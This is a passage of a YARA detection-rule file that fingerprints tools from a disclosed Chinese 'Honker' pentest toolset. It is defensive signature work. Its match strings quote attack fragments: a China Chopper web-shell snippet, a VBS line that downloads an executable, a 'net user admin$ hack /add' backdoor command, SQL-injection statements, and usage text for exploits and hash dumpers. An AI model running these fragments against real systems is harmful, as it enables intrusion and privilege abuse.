		$s3 = "NO PASSWORD*********************:" fullword ascii
		$s4 = "Unable to dump file %S" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 380KB and all of them
}

rule CN_Honker_ChinaChopper
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ChinaChopper.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "fa347fdb23ab0b8d0560a0d20c434549d78e99b5"
		id = "9f7fbaac-65b5-5162-87d1-96ccd9711adb"

	strings:
		$s1 = "$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"z1\"]):$_POST[\"z1\"];$u" wide
		$s3 = "SETP c:\\windows\\system32\\cmd.exe " fullword wide
		$s4 = "Ev al (\"Exe cute(\"\"On+Error+Resume+Next:%s:Response.Write(\"\"\"\"->|\"\"\"\"" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them
}

rule CN_Honker_dedecms5_7
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file dedecms5.7.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f9cbb25883828ca266e32ff4faf62f5a9f92c5fb"
		id = "b037862d-2821-5e96-996b-13ab241575ba"

	strings:
		$s1 = "/data/admin/ver.txt" fullword ascii
		$s2 = "SkinH_EL.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 830KB and all of them
}

rule CN_Honker_Alien_ee
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ee.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "15a7211154ee7aca29529bd5c2500e0d33d7f0b3"
		id = "03540f82-6662-55e3-97f8-38776271f08b"

	strings:
		$s1 = "GetIIS UserName and PassWord." fullword wide
		$s2 = "Read IIS ID For FreeHost." fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them
}

rule CN_Honker_smsniff_smsniff
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file smsniff.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "8667a785a8ced76d0284d225be230b5f1546f140"
		id = "fef242d5-b274-5217-a5d1-1a6ec38d0fdd"

	strings:
		$s1 = "smsniff.exe" fullword wide
		$s5 = "SmartSniff" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 267KB and all of them
}

rule CN_Honker_Happy_Happy
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Happy.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2023-01-27"
		score = 70
		hash = "92067d8dad33177b5d6c853d4d0e897f2ee846b0"
		id = "6e6c806d-e784-507f-b327-3b9f2510422b"

	strings:
		$s1 = "<form.*?method=\"post\"[\\s\\S]*?</form>" fullword wide
		$s2 = "domainscan.exe" fullword wide
		$s3 = "http://www.happysec.com/" wide
		$s4 = "cmdshell" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 655KB and 2 of them
}

rule CN_Honker_T00ls_Lpk_Sethc_v3_0
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v3.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "fa47c4affbac01ba5606c4862fdb77233c1ef656"
		id = "7513a513-e8a3-58a8-8dd5-512ba33ff013"

	strings:
		$s1 = "http://127.0.0.1/1.exe" fullword wide
		$s2 = ":Rices  Forum:T00Ls.Net  [4 Fucker Te@m]" fullword wide
		$s3 = "SkinH_EL.dll" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 2 of them
}

rule CN_Honker_NetFuke_NetFuke
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file NetFuke.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f89e223fd4f6f5a3c2a2ea225660ef0957fc07ba"
		id = "833da5c7-e562-50e9-a2a9-54c36b0d1f61"

	strings:
		$s1 = "Mac Flood: Flooding %dT %d p/s " fullword ascii
		$s2 = "netfuke_%s.txt" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1840KB and all of them
}

rule CN_Honker_ManualInjection
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ManualInjection.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e83d427f44783088a84e9c231c6816c214434526"
		id = "f0899003-824f-56ed-b653-9f7a77b9ec6a"

	strings:
		$s0 = "http://127.0.0.1/cookie.asp?fuck=" fullword ascii
		$s16 = "http://Www.cnhuker.com | http://www.0855.tv" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

rule CN_Honker_CnCerT_CCdoor_CMD
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "1c6ed7d817fa8e6534a5fd36a94f4fc2f066c9cd"
		id = "ddd328a8-7ad8-5b26-9deb-3e5da801cd1b"

	strings:
		$s2 = "CnCerT.CCdoor.CMD.dll" fullword wide
		$s3 = "cmdpath" fullword ascii
		$s4 = "Get4Bytes" fullword ascii
		$s5 = "ExcuteCmd" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 22KB and all of them
}

rule CN_Honker_termsrvhack
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file termsrvhack.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "1c456520a7b7faf71900c71167038185f5a7d312"
		id = "4fd582a1-3c6d-57a1-bba0-f775bb61ef00"

	strings:
		$s1 = "The terminal server cannot issue a client license.  It was unable to issue the" wide
		$s6 = "%s\\%s\\%d\\%d" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1052KB and all of them
}

rule CN_Honker_IIS6_iis6
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file iis6.com"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f0c9106d6d2eea686fd96622986b641968d0b864"
		id = "f5d49cbd-1aec-5126-ab5d-83e485fa6869"

	strings:
		$s0 = "GetMod;ul" fullword ascii
		$s1 = "excjpb" fullword ascii
		$s2 = "LEAUT1" fullword ascii
		$s3 = "EnumProcessModules" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them
}

rule CN_Honker_struts2_catbox
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file catbox.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "ee8fbd91477e056aef34fce3ade474cafa1a4304"
		id = "24df7a11-5ec4-5e7b-86f6-6195ca01b8f9"

	strings:
		$s6 = "'Toolmao box by gainover www.toolmao.com" fullword ascii
		$s20 = "{external.exeScript(_toolmao_bgscript[i],'javascript',false);}}" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8160KB and all of them
}

rule CN_Honker_getlsasrvaddr
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file getlsasrvaddr.exe - WCE Amplia Security"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2022-12-21"
		score = 70
		hash = "a897d5da98dae8d80f3c0a0ef6a07c4b42fb89ce"
		id = "fa0c0376-c5c3-5b48-b03e-86cefb547479"

	strings:
		$s8 = "pingme.txt" fullword ascii
		$s16 = ".\\lsasrv.pdb" ascii
		$s20 = "Addresses Found: " fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule CN_Honker_ms10048_x64
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ms10048-x64.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
		id = "b65b0bad-d74c-5e7a-a613-69ef80585c23"

	strings:
		$s1 = "[ ] Creating evil window" fullword ascii
		$s2 = "[+] Set to %d exploit half succeeded" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 125KB and all of them
}

rule CN_Honker_LogCleaner
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file LogCleaner.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "ab77ed5804b0394d58717c5f844d9c0da5a9f03e"
		id = "63ec5e47-9f3e-547a-bbff-cac8b27ac8f7"

	strings:
		$s3 = ".exe <ip> [(path]" fullword ascii
		$s4 = "LogCleaner v" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and all of them
}

rule CN_Honker_shell_brute_tool
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file shell_brute_tool.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f6903a15453698c35dce841e4d09c542f9480f01"
		id = "80fd0c9f-0ed9-5308-ac72-65b9b3b47ed1"

	strings:
		$s0 = "http://24hack.com/xyadmin.asp" fullword ascii
		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule CN_Honker_hxdef100
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file hxdef100.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "bf30ccc565ac40073b867d4c7f5c33c6bc1920d6"
		id = "3b931752-85ae-52d0-9deb-1a1b03b39e32"

	strings:
		$s6 = "BACKDOORSHELL" fullword ascii
		$s15 = "%tmpdir%" fullword ascii
		$s16 = "%cmddir%" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule CN_Honker_Arp_EMP_v1_0
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Arp EMP v1.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
		id = "03782e94-4fac-529f-b235-19cdb124d53b"

	strings:
		$s0 = "Arp EMP v1.0.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule CN_Honker_GetWebShell
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file GetWebShell.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "b63b53259260a7a316932c0a4b643862f65ee9f8"
		id = "919883f4-af66-5d07-ad41-8cba3e049396"

	strings:
		$s0 = "echo P.Open \"GET\",\"http://www.baidu.com/ma.exe\",0 >>run.vbs" fullword ascii
		$s5 = "http://127.0.0.1/sql.asp?id=1" fullword wide
		$s14 = "net user admin$ hack /add" fullword wide
		$s15 = ";Drop table [hack];create table [dbo].[hack] ([cmd] [image])--" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 70KB and 1 of them
}

rule CN_Honker_Cracker_SHELL
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file SHELL.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "c1dc349ff44a45712937a8a9518170da8d4ee656"
		id = "2249a058-7469-5054-9c51-cb20ef8197ca"

	strings:
		$s1 = "http://127.0.0.1/error1.asp" fullword ascii
		$s2 = "password,PASSWORD,pass,PASS,Lpass,lpass,Password" fullword wide
		$s3 = "\\SHELL" wide
		$s4 = "WebBrowser1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule CN_Honker_MSTSC_can_direct_copy
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file MSTSC_can_direct_copy.EXE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2022-12-21"
		score = 70
		hash = "2f3cbfd9f82f8abafdb1d33235fa6bfa1e1f71ae"
		id = "9155cb6f-14b6-524a-9cb9-1a88f7facf4e"

	strings:
		$s1 = "srv\\newclient\\lib\\win32\\obj\\i386\\mstsc.pdb" ascii
		$s2 = "Clear Password" fullword wide
		$s3 = "/migrate -- migrates legacy connection files that were created with " fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them
}

rule CN_Honker_lcx_lcx
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - HTRAN - file lcx.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
		id = "6c2e1e85-6387-5be2-b7b2-5ae8a5cca6df"

	strings:
		$s1 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
		$s2 = "=========== Code by lion & bkbll" ascii
		$s3 = "Welcome to [url]http://www.cnhonker.com[/url] " ascii
		$s4 = "-tran   <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
		$s5 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and 1 of them
}

rule CN_Honker_PostgreSQL
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file PostgreSQL.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
		id = "ae90d03c-ef67-5ece-81ae-86947196a81c"

	strings:
		$s1 = "&http://192.168.16.186/details.php?id=1" fullword ascii
		$s2 = "PostgreSQL_inject" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule CN_Honker_WebRobot
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file WebRobot.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "af054994c911b4301490344fca4bb19a9f394a8f"
		id = "8b6350b6-17ea-5f44-a42a-875d55bb2de8"

	strings:
		$s1 = "%d-%02d-%02d %02d^%02d^%02d ScanReprot.htm" fullword ascii
		$s2 = "\\log\\ProgramDataFile.dat" ascii
		$s3 = "\\data\\FilterKeyword.txt" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule CN_Honker_Baidu_Extractor_Ver1_0
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Baidu_Extractor_Ver1.0.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "1899f979360e96245d31082e7e96ccedbdbe1413"
		id = "94f3c3d8-aa68-5589-b26f-42315634ff30"

	strings:
		$s3 = "\\Users\\Admin" wide
		$s11 = "soso.com" fullword wide
		$s12 = "baidu.com" fullword wide
		$s19 = "cmd /c ping " fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule CN_Honker_FTP_scanning
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file FTP_scanning.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "5a3543ee5aed110c87cbc3973686e785bcb5c44e"
		id = "828a0dc8-3748-5c07-a767-4f9e85968ca1"

	strings:
		$s1 = "CNotSupportedE" fullword ascii
		$s2 = "nINet.dll" fullword ascii
		$s9 = "?=MODULE" fullword ascii
		$s13 = "MSIE 6*" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 550KB and all of them
}

rule CN_Honker_dirdown_dirdown
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file dirdown.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2022-12-21"
		score = 70
		hash = "7b8d51c72841532dded5fec7e7b0005855b8a051"
		id = "80f98131-79bf-580d-87ad-a54a3f14b301"

	strings:
		$s0 = "\\Decompress\\obj\\Release\\Decompress.pdb" ascii
		$s1 = "Decompress.exe" fullword wide
		$s5 = "Get8Bytes" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 45KB and all of them
}

rule CN_Honker_Xiaokui_conversion_tool
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Xiaokui_conversion_tool.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "dccd163e94a774b01f90c1e79f186894e2f27de3"
		id = "26e30df6-b1d9-5d82-b368-a4a904939aa3"

	strings:
		$s1 = "update [dv_user] set usergroupid=1 where userid=2;--" fullword ascii
		$s2 = "To.exe" fullword wide
		$s3 = "by zj1244" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 240KB and 2 of them
}

rule CN_Honker_GroupPolicyRemover
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file GroupPolicyRemover.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "7475d694e189b35899a2baa462957ac3687513e5"
		id = "e581172d-fcea-5281-ba9f-06b35c9a513e"

	strings:
		$s0 = "GP_killer.EXE" fullword wide
		$s1 = "GP_killer Microsoft " fullword wide
		$s2 = "SHDeleteKeyA" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and all of them
}

rule CN_Honker_WordpressScanner
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file WordpressScanner.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "0b3c5015ba3616cbc616fc9ba805fea73e98bc83"
		id = "79195823-f88b-5c28-8b99-a43a9d6c94af"

	strings:
		$s0 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
		$s1 = "(http://www.eyuyan.com)" fullword wide
		$s2 = "GetConnectString" fullword ascii
		$s4 = "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule CN_Honker_Htran_V2_40_htran20
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file htran20.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
		id = "9dd1ab4b-108e-55be-b94d-2868ce00855e"

	strings:
		$s1 = "%s -slave  ConnectHost ConnectPort TransmitHost TransmitPort" fullword ascii
		$s2 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii
		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
		$s4 = "%s -connect ConnectHost [ConnectPort]       Default:%d" fullword ascii
		$s5 = "[+] got, ip:%s, port:%d" fullword ascii
		$s6 = "[-] There is a error...Create a new connection." fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule CN_Honker_DictionaryGenerator
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file DictionaryGenerator.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "b3071c64953e97eeb2ca6796fab302d8a77d27bc"
		id = "29ce6f8c-3092-5917-ab31-aaed7834c500"

	strings:
		$s1 = "`PasswordBuilder" fullword ascii
		$s2 = "cracker" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3650KB and all of them
}

rule CN_Honker_ms11080_withcmd
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ms11080_withcmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
		id = "38c12697-7e52-5713-a566-6047abfa229b"

	strings:
		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii
		$s3 = "[>] create pipe error" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 340KB and all of them
}

rule CN_Honker_T00ls_Lpk_Sethc_v2
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v2.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "a995451d9108687b8892ad630a79660a021d670a"
		id = "499b251a-e0e1-5550-825d-acab112be74b"

	strings:
		$s1 = "LOADER ERROR" fullword ascii
		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
		$s3 = "2011-2012 T00LS&RICES" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them
}

rule CN_Honker_HASH_32
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file 32.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "bf4a8b4b3e906e385feab5ea768f604f64ba84ea"
		id = "a9b5b753-2028-53be-9ac8-50ec910860c3"

	strings:
		$s5 = "[Undefined OS version]  Major: %d Minor: %d" fullword ascii
		$s8 = "Try To Run As Administrator ..." fullword ascii
		$s9 = "Specific LUID NOT found" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 240KB and all of them
}

rule CN_Honker_windows_mstsc_enhanced_RMDSTC
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file RMDSTC.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "3ca2b1b6f31219baf172abcc8f00f07f560e465f"
		id = "f6e94327-cb79-5a7a-88bb-850177558978"

	strings:
		$s0 = "zava zir5@163.com" fullword wide
		$s1 = "By newccc" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule CN_Honker_sig_3389_mstsc_MSTSCAX
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file MSTSCAX.DLL"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "2fa006158b2d87b08f1778f032ab1b8e139e02c6"
		id = "9508b613-f897-5277-97e0-30e36fb5d747"

	strings:
		$s1 = "ResetPasswordWWWx" fullword ascii
		$s2 = "Terminal Server Redirected Printer Doc" fullword wide
		$s3 = "Cleaning temp directory" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule CN_Honker_T00ls_scanner
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file T00ls_scanner.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "70b04b910d82b32b90cd7f355a0e3e17dd260cb3"
		id = "80d4a950-24cb-55c7-903f-8788a71be7ac"

	strings:
		$s0 = "http://cn.bing.com/search?first=1&count=50&q=ip:" fullword wide
		$s17 = "Team:www.t00ls.net" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 330KB and all of them
}

rule CN_Honker_GetHashes
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "dc8bcebf565ffffda0df24a77e28af681227b7fe"
		id = "b1c5910d-0fb1-547e-92b7-5fcf183e38a6"

	strings:
		$s0 = "SAM\\Domains\\Account\\Users\\Names registry hive reading error!" fullword ascii
		$s1 = "GetHashes <SAM registry file> [System key file]" fullword ascii
		$s2 = "Note: Windows registry file shall begin from 'regf' signature!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 87KB and 2 of them
}

rule CN_Honker_hashq_Hashq
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Hashq.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "7518b647db5275e8a9e0bf4deda3d853cc9d5661"
		id = "4f435edf-28bf-5195-bc22-0d2a7302b312"

	strings:
		$s1 = "Hashq.exe" fullword wide
		$s5 = "CnCert.Net" fullword wide
		$s6 = "Md5 query tool" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them
}

rule CN_Honker_ShiftBackdoor_Server
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Server.dat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
